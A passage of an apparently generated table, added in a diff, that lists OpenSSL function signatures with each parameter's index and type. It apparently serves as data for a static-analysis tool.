* | +| (const OSSL_CRMF_ENCRYPTEDKEY *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,unsigned int) | | OSSL_CRMF_ENCRYPTEDKEY_get1_encCert | 4 | unsigned int | +| (const OSSL_CRMF_ENCRYPTEDKEY *,unsigned char **) | | i2d_OSSL_CRMF_ENCRYPTEDKEY | 0 | const OSSL_CRMF_ENCRYPTEDKEY * | +| (const OSSL_CRMF_ENCRYPTEDKEY *,unsigned char **) | | i2d_OSSL_CRMF_ENCRYPTEDKEY | 1 | unsigned char ** | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *) | | OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert | 0 | const OSSL_CRMF_ENCRYPTEDVALUE * | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *) | | OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert | 1 | OSSL_LIB_CTX * | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *) | | OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert | 2 | const char * | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *) | | OSSL_CRMF_ENCRYPTEDVALUE_get1_encCert | 3 | EVP_PKEY * | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,int *) | | OSSL_CRMF_ENCRYPTEDVALUE_decrypt | 0 | const OSSL_CRMF_ENCRYPTEDVALUE * | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,int *) | | OSSL_CRMF_ENCRYPTEDVALUE_decrypt | 1 | OSSL_LIB_CTX * | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,int *) | | OSSL_CRMF_ENCRYPTEDVALUE_decrypt | 2 | const char * | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,int *) | | OSSL_CRMF_ENCRYPTEDVALUE_decrypt | 3 | EVP_PKEY * | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,OSSL_LIB_CTX *,const char *,EVP_PKEY *,int *) | | OSSL_CRMF_ENCRYPTEDVALUE_decrypt | 4 | int * | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,unsigned char **) | | i2d_OSSL_CRMF_ENCRYPTEDVALUE | 0 | const OSSL_CRMF_ENCRYPTEDVALUE * | +| (const OSSL_CRMF_ENCRYPTEDVALUE *,unsigned char **) | | i2d_OSSL_CRMF_ENCRYPTEDVALUE | 1 | unsigned char ** | +| (const OSSL_CRMF_MSG *) | | OSSL_CRMF_MSG_dup | 0 | const OSSL_CRMF_MSG * | +| (const OSSL_CRMF_MSG *) | | OSSL_CRMF_MSG_get0_tmpl | 0 | const OSSL_CRMF_MSG * | +| (const OSSL_CRMF_MSG *,unsigned char **) | | i2d_OSSL_CRMF_MSG | 0 | const OSSL_CRMF_MSG * | +| (const OSSL_CRMF_MSG *,unsigned char **) | | i2d_OSSL_CRMF_MSG | 1 | unsigned char ** | +| (const OSSL_CRMF_MSGS *,unsigned char **) | | i2d_OSSL_CRMF_MSGS | 0 | const OSSL_CRMF_MSGS * | +| (const OSSL_CRMF_MSGS *,unsigned char **) | | i2d_OSSL_CRMF_MSGS | 1 | unsigned char ** | +| (const OSSL_CRMF_OPTIONALVALIDITY *,unsigned char **) | | i2d_OSSL_CRMF_OPTIONALVALIDITY | 0 | const OSSL_CRMF_OPTIONALVALIDITY * | +| (const OSSL_CRMF_OPTIONALVALIDITY *,unsigned char **) | | i2d_OSSL_CRMF_OPTIONALVALIDITY | 1 | unsigned char ** | +| (const OSSL_CRMF_PBMPARAMETER *,unsigned char **) | | i2d_OSSL_CRMF_PBMPARAMETER | 0 | const OSSL_CRMF_PBMPARAMETER * | +| (const OSSL_CRMF_PBMPARAMETER *,unsigned char **) | | i2d_OSSL_CRMF_PBMPARAMETER | 1 | unsigned char ** | +| (const OSSL_CRMF_PKIPUBLICATIONINFO *) | | OSSL_CRMF_PKIPUBLICATIONINFO_dup | 0 | const OSSL_CRMF_PKIPUBLICATIONINFO * | +| (const OSSL_CRMF_PKIPUBLICATIONINFO *,unsigned char **) | | i2d_OSSL_CRMF_PKIPUBLICATIONINFO | 0 | const OSSL_CRMF_PKIPUBLICATIONINFO * | +| (const OSSL_CRMF_PKIPUBLICATIONINFO *,unsigned char **) | | i2d_OSSL_CRMF_PKIPUBLICATIONINFO | 1 | unsigned char ** | +| (const OSSL_CRMF_PKMACVALUE *,unsigned char **) | | i2d_OSSL_CRMF_PKMACVALUE | 0 | const OSSL_CRMF_PKMACVALUE * | +| (const OSSL_CRMF_PKMACVALUE *,unsigned char **) | | i2d_OSSL_CRMF_PKMACVALUE | 1 | unsigned char ** | +| (const OSSL_CRMF_POPO *,unsigned char **) | | i2d_OSSL_CRMF_POPO | 0 | const OSSL_CRMF_POPO * | +| (const OSSL_CRMF_POPO *,unsigned char **) | | i2d_OSSL_CRMF_POPO | 1 | unsigned char ** | +| (const OSSL_CRMF_POPOPRIVKEY *,unsigned char **) | | i2d_OSSL_CRMF_POPOPRIVKEY | 0 | const OSSL_CRMF_POPOPRIVKEY * | +| (const OSSL_CRMF_POPOPRIVKEY *,unsigned char **) | | i2d_OSSL_CRMF_POPOPRIVKEY | 1 | unsigned char ** | +| (const OSSL_CRMF_POPOSIGNINGKEY *,unsigned char **) | | i2d_OSSL_CRMF_POPOSIGNINGKEY | 0 | const OSSL_CRMF_POPOSIGNINGKEY * | +| (const OSSL_CRMF_POPOSIGNINGKEY *,unsigned char **) | | i2d_OSSL_CRMF_POPOSIGNINGKEY | 1 | unsigned char ** | +| (const OSSL_CRMF_POPOSIGNINGKEYINPUT *,unsigned char **) | | i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT | 0 | const OSSL_CRMF_POPOSIGNINGKEYINPUT * | +| (const OSSL_CRMF_POPOSIGNINGKEYINPUT *,unsigned char **) | | i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT | 1 | unsigned char ** | +| (const OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *,unsigned char **) | | i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO | 0 | const OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO * | +| (const OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *,unsigned char **) | | i2d_OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO | 1 | unsigned char ** | +| (const OSSL_CRMF_PRIVATEKEYINFO *,unsigned char **) | | i2d_OSSL_CRMF_PRIVATEKEYINFO | 0 | const OSSL_CRMF_PRIVATEKEYINFO * | +| (const OSSL_CRMF_PRIVATEKEYINFO *,unsigned char **) | | i2d_OSSL_CRMF_PRIVATEKEYINFO | 1 | unsigned char ** | +| (const OSSL_CRMF_SINGLEPUBINFO *,unsigned char **) | | i2d_OSSL_CRMF_SINGLEPUBINFO | 0 | const OSSL_CRMF_SINGLEPUBINFO * | +| (const OSSL_CRMF_SINGLEPUBINFO *,unsigned char **) | | i2d_OSSL_CRMF_SINGLEPUBINFO | 1 | unsigned char ** | +| (const OSSL_DAY_TIME *,unsigned char **) | | i2d_OSSL_DAY_TIME | 0 | const OSSL_DAY_TIME * | +| (const OSSL_DAY_TIME *,unsigned char **) | | i2d_OSSL_DAY_TIME | 1 | unsigned char ** | +| (const OSSL_DAY_TIME_BAND *,unsigned char **) | | i2d_OSSL_DAY_TIME_BAND | 0 | const OSSL_DAY_TIME_BAND * | +| (const OSSL_DAY_TIME_BAND *,unsigned char **) | | i2d_OSSL_DAY_TIME_BAND | 1 | unsigned char ** | +| (const OSSL_DECODER *) | | OSSL_DECODER_get0_name | 0 | const OSSL_DECODER * | +| (const OSSL_DECODER *) | | OSSL_DECODER_get0_provider | 0 | const OSSL_DECODER * | +| (const OSSL_DECODER *) | | ossl_decoder_get_number | 0 | const OSSL_DECODER * | +| (const OSSL_DECODER *) | | ossl_decoder_parsed_properties | 0 | const OSSL_DECODER * | +| (const OSSL_DECODER_CTX *) | | ossl_decoder_ctx_get_harderr | 0 | const OSSL_DECODER_CTX * | +| (const OSSL_DECODER_INSTANCE *) | | ossl_decoder_instance_dup | 0 | const OSSL_DECODER_INSTANCE * | +| (const OSSL_DISPATCH *) | | ossl_prov_bio_from_dispatch | 0 | const OSSL_DISPATCH * | +| (const OSSL_DISPATCH *) | | ossl_prov_get_keymgmt_export | 0 | const OSSL_DISPATCH * | +| (const OSSL_DISPATCH *) | | ossl_prov_get_keymgmt_free | 0 | const OSSL_DISPATCH * | +| (const OSSL_DISPATCH *) | | ossl_prov_get_keymgmt_import | 0 | const OSSL_DISPATCH * | +| (const OSSL_DISPATCH *) | | ossl_prov_get_keymgmt_new | 0 | const OSSL_DISPATCH * | +| (const OSSL_DISPATCH *) | | ossl_prov_seeding_from_dispatch | 0 | const OSSL_DISPATCH * | +| (const OSSL_DISPATCH *,void *) | | ossl_prov_free_key | 0 | const OSSL_DISPATCH * | +| (const OSSL_DISPATCH *,void *) | | ossl_prov_free_key | 1 | void * | +| (const OSSL_DISPATCH *,void *,int,const OSSL_PARAM[]) | | ossl_prov_import_key | 0 | const OSSL_DISPATCH * | +| (const OSSL_DISPATCH *,void *,int,const OSSL_PARAM[]) | | ossl_prov_import_key | 1 | void * | +| (const OSSL_DISPATCH *,void *,int,const OSSL_PARAM[]) | | ossl_prov_import_key | 2 | int | +| (const OSSL_DISPATCH *,void *,int,const OSSL_PARAM[]) | | ossl_prov_import_key | 3 | const OSSL_PARAM[] | +| (const OSSL_ENCODER *) | | OSSL_ENCODER_get0_name | 0 | const OSSL_ENCODER * | +| (const OSSL_ENCODER *) | | OSSL_ENCODER_get0_provider | 0 | const OSSL_ENCODER * | +| (const OSSL_ENCODER *) | | ossl_encoder_get_number | 0 | const OSSL_ENCODER * | +| (const OSSL_ENCODER *) | | ossl_encoder_parsed_properties | 0 | const OSSL_ENCODER * | +| (const OSSL_HASH *,unsigned char **) | | i2d_OSSL_HASH | 0 | const OSSL_HASH * | +| (const OSSL_HASH *,unsigned char **) | | i2d_OSSL_HASH | 1 | unsigned char ** | +| (const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_get_grease_value | 0 | const OSSL_HPKE_SUITE * | +| (const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_get_grease_value | 1 | OSSL_HPKE_SUITE * | +| (const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_get_grease_value | 2 | unsigned char * | +| (const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_get_grease_value | 3 | size_t * | +| (const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_get_grease_value | 4 | unsigned char * | +| (const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_get_grease_value | 5 | size_t | +| (const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_get_grease_value | 6 | OSSL_LIB_CTX * | +| (const OSSL_HPKE_SUITE *,OSSL_HPKE_SUITE *,unsigned char *,size_t *,unsigned char *,size_t,OSSL_LIB_CTX *,const char *) | | OSSL_HPKE_get_grease_value | 7 | const char * | +| (const OSSL_HTTP_REQ_CTX *) | | OSSL_HTTP_REQ_CTX_get0_mem_bio | 0 | const OSSL_HTTP_REQ_CTX * | +| (const OSSL_HTTP_REQ_CTX *) | | OSSL_HTTP_REQ_CTX_get_resp_len | 0 | const OSSL_HTTP_REQ_CTX * | +| (const OSSL_IETF_ATTR_SYNTAX *) | | OSSL_IETF_ATTR_SYNTAX_get0_policyAuthority | 0 | const OSSL_IETF_ATTR_SYNTAX * | +| (const OSSL_IETF_ATTR_SYNTAX *) | | OSSL_IETF_ATTR_SYNTAX_get_value_num | 0 | const OSSL_IETF_ATTR_SYNTAX * | +| (const OSSL_IETF_ATTR_SYNTAX *,unsigned char **) | | i2d_OSSL_IETF_ATTR_SYNTAX | 0 | const OSSL_IETF_ATTR_SYNTAX * | +| (const OSSL_IETF_ATTR_SYNTAX *,unsigned char **) | | i2d_OSSL_IETF_ATTR_SYNTAX | 1 | unsigned char ** | +| (const OSSL_INFO_SYNTAX *,unsigned char **) | | i2d_OSSL_INFO_SYNTAX | 0 | const OSSL_INFO_SYNTAX * | +| (const OSSL_INFO_SYNTAX *,unsigned char **) | | i2d_OSSL_INFO_SYNTAX | 1 | unsigned char ** | +| (const OSSL_INFO_SYNTAX_POINTER *,unsigned char **) | | i2d_OSSL_INFO_SYNTAX_POINTER | 0 | const OSSL_INFO_SYNTAX_POINTER * | +| (const OSSL_INFO_SYNTAX_POINTER *,unsigned char **) | | i2d_OSSL_INFO_SYNTAX_POINTER | 1 | unsigned char ** | +| (const OSSL_ISSUER_SERIAL *) | | OSSL_ISSUER_SERIAL_get0_issuerUID | 0 | const OSSL_ISSUER_SERIAL * | +| (const OSSL_ISSUER_SERIAL *) | | OSSL_ISSUER_SERIAL_get0_serial | 0 | const OSSL_ISSUER_SERIAL * | +| (const OSSL_NAMED_DAY *,unsigned char **) | | i2d_OSSL_NAMED_DAY | 0 | const OSSL_NAMED_DAY * | +| (const OSSL_NAMED_DAY *,unsigned char **) | | i2d_OSSL_NAMED_DAY | 1 | unsigned char ** | +| (const OSSL_NAMEMAP *,int,..(*)(..),void *) | | ossl_namemap_doall_names | 0 | const OSSL_NAMEMAP * | +| (const OSSL_NAMEMAP *,int,..(*)(..),void *) | | ossl_namemap_doall_names | 1 | int | +| (const OSSL_NAMEMAP *,int,..(*)(..),void *) | | ossl_namemap_doall_names | 2 | ..(*)(..) | +| (const OSSL_NAMEMAP *,int,..(*)(..),void *) | | ossl_namemap_doall_names | 3 | void * | +| (const OSSL_NAMEMAP *,int,size_t) | | ossl_namemap_num2name | 0 | const OSSL_NAMEMAP * | +| (const OSSL_NAMEMAP *,int,size_t) | | ossl_namemap_num2name | 1 | int | +| (const OSSL_NAMEMAP *,int,size_t) | | ossl_namemap_num2name | 2 | size_t | +| (const OSSL_OBJECT_DIGEST_INFO *,int *,const X509_ALGOR **,const ASN1_BIT_STRING **) | | OSSL_OBJECT_DIGEST_INFO_get0_digest | 0 | const OSSL_OBJECT_DIGEST_INFO * | +| (const OSSL_OBJECT_DIGEST_INFO *,int *,const X509_ALGOR **,const ASN1_BIT_STRING **) | | OSSL_OBJECT_DIGEST_INFO_get0_digest | 1 | int * | +| (const OSSL_OBJECT_DIGEST_INFO *,int *,const X509_ALGOR **,const ASN1_BIT_STRING **) | | OSSL_OBJECT_DIGEST_INFO_get0_digest | 2 | const X509_ALGOR ** | +| (const OSSL_OBJECT_DIGEST_INFO *,int *,const X509_ALGOR **,const ASN1_BIT_STRING **) | | OSSL_OBJECT_DIGEST_INFO_get0_digest | 3 | const ASN1_BIT_STRING ** | +| (const OSSL_PARAM *) | | OSSL_PARAM_dup | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,BIGNUM **) | | OSSL_PARAM_get_BN | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,BIGNUM **) | | OSSL_PARAM_get_BN | 1 | BIGNUM ** | +| (const OSSL_PARAM *,BIO *,int) | | OSSL_PARAM_print_to_bio | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,BIO *,int) | | OSSL_PARAM_print_to_bio | 1 | BIO * | +| (const OSSL_PARAM *,BIO *,int) | | OSSL_PARAM_print_to_bio | 2 | int | +| (const OSSL_PARAM *,char **,size_t) | | OSSL_PARAM_get_utf8_string | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,char **,size_t) | | OSSL_PARAM_get_utf8_string | 1 | char ** | +| (const OSSL_PARAM *,char **,size_t) | | OSSL_PARAM_get_utf8_string | 2 | size_t | +| (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 1 | const char * | +| (const OSSL_PARAM *,const char **) | | OSSL_PARAM_get_utf8_ptr | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,const char **) | | OSSL_PARAM_get_utf8_ptr | 1 | const char ** | +| (const OSSL_PARAM *,const char **) | | OSSL_PARAM_get_utf8_string_ptr | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,const char **) | | OSSL_PARAM_get_utf8_string_ptr | 1 | const char ** | +| (const OSSL_PARAM *,const char *,unsigned char **,size_t *) | | ossl_param_get1_octet_string | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,const char *,unsigned char **,size_t *) | | ossl_param_get1_octet_string | 1 | const char * | +| (const OSSL_PARAM *,const char *,unsigned char **,size_t *) | | ossl_param_get1_octet_string | 2 | unsigned char ** | +| (const OSSL_PARAM *,const char *,unsigned char **,size_t *) | | ossl_param_get1_octet_string | 3 | size_t * | +| (const OSSL_PARAM *,const char *,unsigned char **,size_t *,size_t) | | ossl_param_get1_concat_octet_string | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,const char *,unsigned char **,size_t *,size_t) | | ossl_param_get1_concat_octet_string | 1 | const char * | +| (const OSSL_PARAM *,const char *,unsigned char **,size_t *,size_t) | | ossl_param_get1_concat_octet_string | 2 | unsigned char ** | +| (const OSSL_PARAM *,const char *,unsigned char **,size_t *,size_t) | | ossl_param_get1_concat_octet_string | 3 | size_t * | +| (const OSSL_PARAM *,const char *,unsigned char **,size_t *,size_t) | | ossl_param_get1_concat_octet_string | 4 | size_t | +| (const OSSL_PARAM *,const void **,size_t *) | | OSSL_PARAM_get_octet_ptr | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,const void **,size_t *) | | OSSL_PARAM_get_octet_ptr | 1 | const void ** | +| (const OSSL_PARAM *,const void **,size_t *) | | OSSL_PARAM_get_octet_ptr | 2 | size_t * | +| (const OSSL_PARAM *,const void **,size_t *) | | OSSL_PARAM_get_octet_string_ptr | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,const void **,size_t *) | | OSSL_PARAM_get_octet_string_ptr | 1 | const void ** | +| (const OSSL_PARAM *,const void **,size_t *) | | OSSL_PARAM_get_octet_string_ptr | 2 | size_t * | +| (const OSSL_PARAM *,double *) | | OSSL_PARAM_get_double | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,double *) | | OSSL_PARAM_get_double | 1 | double * | +| (const OSSL_PARAM *,int32_t *) | | OSSL_PARAM_get_int32 | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,int32_t *) | | OSSL_PARAM_get_int32 | 1 | int32_t * | +| (const OSSL_PARAM *,int64_t *) | | OSSL_PARAM_get_int64 | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,int64_t *) | | OSSL_PARAM_get_int64 | 1 | int64_t * | +| (const OSSL_PARAM *,int *) | | OSSL_PARAM_get_int | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,int *) | | OSSL_PARAM_get_int | 1 | int * | +| (const OSSL_PARAM *,long *) | | OSSL_PARAM_get_long | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,long *) | | OSSL_PARAM_get_long | 1 | long * | +| (const OSSL_PARAM *,size_t *) | | OSSL_PARAM_get_size_t | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,size_t *) | | OSSL_PARAM_get_size_t | 1 | size_t * | +| (const OSSL_PARAM *,time_t *) | | OSSL_PARAM_get_time_t | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,time_t *) | | OSSL_PARAM_get_time_t | 1 | time_t * | +| (const OSSL_PARAM *,uint32_t *) | | OSSL_PARAM_get_uint32 | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,uint32_t *) | | OSSL_PARAM_get_uint32 | 1 | uint32_t * | +| (const OSSL_PARAM *,uint64_t *) | | OSSL_PARAM_get_uint64 | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,uint64_t *) | | OSSL_PARAM_get_uint64 | 1 | uint64_t * | +| (const OSSL_PARAM *,unsigned int *) | | OSSL_PARAM_get_uint | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,unsigned int *) | | OSSL_PARAM_get_uint | 1 | unsigned int * | +| (const OSSL_PARAM *,unsigned long *) | | OSSL_PARAM_get_ulong | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,unsigned long *) | | OSSL_PARAM_get_ulong | 1 | unsigned long * | +| (const OSSL_PARAM *,void **,size_t,size_t *) | | OSSL_PARAM_get_octet_string | 0 | const OSSL_PARAM * | +| (const OSSL_PARAM *,void **,size_t,size_t *) | | OSSL_PARAM_get_octet_string | 1 | void ** | +| (const OSSL_PARAM *,void **,size_t,size_t *) | | OSSL_PARAM_get_octet_string | 2 | size_t | +| (const OSSL_PARAM *,void **,size_t,size_t *) | | OSSL_PARAM_get_octet_string | 3 | size_t * | +| (const OSSL_PARAM[],OSSL_LIB_CTX *,const char *) | | EC_GROUP_new_from_params | 0 | const OSSL_PARAM[] | +| (const OSSL_PARAM[],OSSL_LIB_CTX *,const char *) | | EC_GROUP_new_from_params | 1 | OSSL_LIB_CTX * | +| (const OSSL_PARAM[],OSSL_LIB_CTX *,const char *) | | EC_GROUP_new_from_params | 2 | const char * | +| (const OSSL_PARAM[],void *) | | ossl_store_handle_load_result | 0 | const OSSL_PARAM[] | +| (const OSSL_PARAM[],void *) | | ossl_store_handle_load_result | 1 | void * | +| (const OSSL_PQUEUE *) | | ossl_pqueue_num | 0 | const OSSL_PQUEUE * | +| (const OSSL_PQUEUE *) | | ossl_pqueue_peek | 0 | const OSSL_PQUEUE * | +| (const OSSL_PRIVILEGE_POLICY_ID *,unsigned char **) | | i2d_OSSL_PRIVILEGE_POLICY_ID | 0 | const OSSL_PRIVILEGE_POLICY_ID * | +| (const OSSL_PRIVILEGE_POLICY_ID *,unsigned char **) | | i2d_OSSL_PRIVILEGE_POLICY_ID | 1 | unsigned char ** | +| (const OSSL_PROPERTY_DEFINITION *) | | ossl_property_get_number_value | 0 | const OSSL_PROPERTY_DEFINITION * | +| (const OSSL_PROPERTY_DEFINITION *) | | ossl_property_get_type | 0 | const OSSL_PROPERTY_DEFINITION * | +| (const OSSL_PROPERTY_LIST *,OSSL_LIB_CTX *,const char *) | | ossl_property_find_property | 0 | const OSSL_PROPERTY_LIST * | +| (const OSSL_PROPERTY_LIST *,OSSL_LIB_CTX *,const char *) | | ossl_property_find_property | 1 | OSSL_LIB_CTX * | +| (const OSSL_PROPERTY_LIST *,OSSL_LIB_CTX *,const char *) | | ossl_property_find_property | 2 | const char * | +| (const OSSL_PROPERTY_LIST *,const OSSL_PROPERTY_LIST *) | | ossl_property_merge | 0 | const OSSL_PROPERTY_LIST * | +| (const OSSL_PROPERTY_LIST *,const OSSL_PROPERTY_LIST *) | | ossl_property_merge | 1 | const OSSL_PROPERTY_LIST * | +| (const OSSL_PROVIDER *) | | OSSL_PROVIDER_get0_dispatch | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *) | | OSSL_PROVIDER_get0_name | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *) | | OSSL_PROVIDER_get0_provider_ctx | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *) | | ossl_provider_ctx | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *) | | ossl_provider_dso | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *) | | ossl_provider_get0_dispatch | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *) | | ossl_provider_is_child | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *) | | ossl_provider_libctx | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *) | | ossl_provider_module_name | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *) | | ossl_provider_module_path | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *) | | ossl_provider_name | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *,OSSL_PARAM[]) | | OSSL_PROVIDER_get_conf_parameters | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *,OSSL_PARAM[]) | | OSSL_PROVIDER_get_conf_parameters | 1 | OSSL_PARAM[] | +| (const OSSL_PROVIDER *,const char *,int) | | OSSL_PROVIDER_conf_get_bool | 0 | const OSSL_PROVIDER * | +| (const OSSL_PROVIDER *,const char *,int) | | OSSL_PROVIDER_conf_get_bool | 1 | const char * | +| (const OSSL_PROVIDER *,const char *,int) | | OSSL_PROVIDER_conf_get_bool | 2 | int | +| (const OSSL_QRX_ARGS *) | | ossl_qrx_new | 0 | const OSSL_QRX_ARGS * | +| (const OSSL_QTX_ARGS *) | | ossl_qtx_new | 0 | const OSSL_QTX_ARGS * | +| (const OSSL_QUIC_TX_PACKETISER_ARGS *) | | ossl_quic_tx_packetiser_new | 0 | const OSSL_QUIC_TX_PACKETISER_ARGS * | +| (const OSSL_ROLE_SPEC_CERT_ID *,unsigned char **) | | i2d_OSSL_ROLE_SPEC_CERT_ID | 0 | const OSSL_ROLE_SPEC_CERT_ID * | +| (const OSSL_ROLE_SPEC_CERT_ID *,unsigned char **) | | i2d_OSSL_ROLE_SPEC_CERT_ID | 1 | unsigned char ** | +| (const OSSL_ROLE_SPEC_CERT_ID_SYNTAX *,unsigned char **) | | i2d_OSSL_ROLE_SPEC_CERT_ID_SYNTAX | 0 | const OSSL_ROLE_SPEC_CERT_ID_SYNTAX * | +| (const OSSL_ROLE_SPEC_CERT_ID_SYNTAX *,unsigned char **) | | i2d_OSSL_ROLE_SPEC_CERT_ID_SYNTAX | 1 | unsigned char ** | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get0_CERT | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get0_CRL | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get0_PARAMS | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get0_PKEY | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get0_PUBKEY | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get1_CERT | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get1_CRL | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get1_PARAMS | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get1_PKEY | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get1_PUBKEY | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_INFO *) | | OSSL_STORE_INFO_get_type | 0 | const OSSL_STORE_INFO * | +| (const OSSL_STORE_LOADER *) | | OSSL_STORE_LOADER_get0_description | 0 | const OSSL_STORE_LOADER * | +| (const OSSL_STORE_LOADER *) | | OSSL_STORE_LOADER_get0_engine | 0 | const OSSL_STORE_LOADER * | +| (const OSSL_STORE_LOADER *) | | OSSL_STORE_LOADER_get0_properties | 0 | const OSSL_STORE_LOADER * | +| (const OSSL_STORE_LOADER *) | | OSSL_STORE_LOADER_get0_provider | 0 | const OSSL_STORE_LOADER * | +| (const OSSL_STORE_LOADER *) | | OSSL_STORE_LOADER_get0_scheme | 0 | const OSSL_STORE_LOADER * | +| (const OSSL_STORE_LOADER *) | | ossl_store_loader_get_number | 0 | const OSSL_STORE_LOADER * | +| (const OSSL_STORE_LOADER *,..(*)(..),void *) | | OSSL_STORE_LOADER_names_do_all | 0 | const OSSL_STORE_LOADER * | +| (const OSSL_STORE_LOADER *,..(*)(..),void *) | | OSSL_STORE_LOADER_names_do_all | 1 | ..(*)(..) | +| (const OSSL_STORE_LOADER *,..(*)(..),void *) | | OSSL_STORE_LOADER_names_do_all | 2 | void * | +| (const OSSL_STORE_SEARCH *) | | OSSL_STORE_SEARCH_get0_digest | 0 | const OSSL_STORE_SEARCH * | +| (const OSSL_STORE_SEARCH *) | | OSSL_STORE_SEARCH_get0_name | 0 | const OSSL_STORE_SEARCH * | +| (const OSSL_STORE_SEARCH *) | | OSSL_STORE_SEARCH_get0_serial | 0 | const OSSL_STORE_SEARCH * | +| (const OSSL_STORE_SEARCH *) | | OSSL_STORE_SEARCH_get0_string | 0 | const OSSL_STORE_SEARCH * | +| (const OSSL_STORE_SEARCH *) | | OSSL_STORE_SEARCH_get_type | 0 | const OSSL_STORE_SEARCH * | +| (const OSSL_STORE_SEARCH *,size_t *) | | OSSL_STORE_SEARCH_get0_bytes | 0 | const OSSL_STORE_SEARCH * | +| (const OSSL_STORE_SEARCH *,size_t *) | | 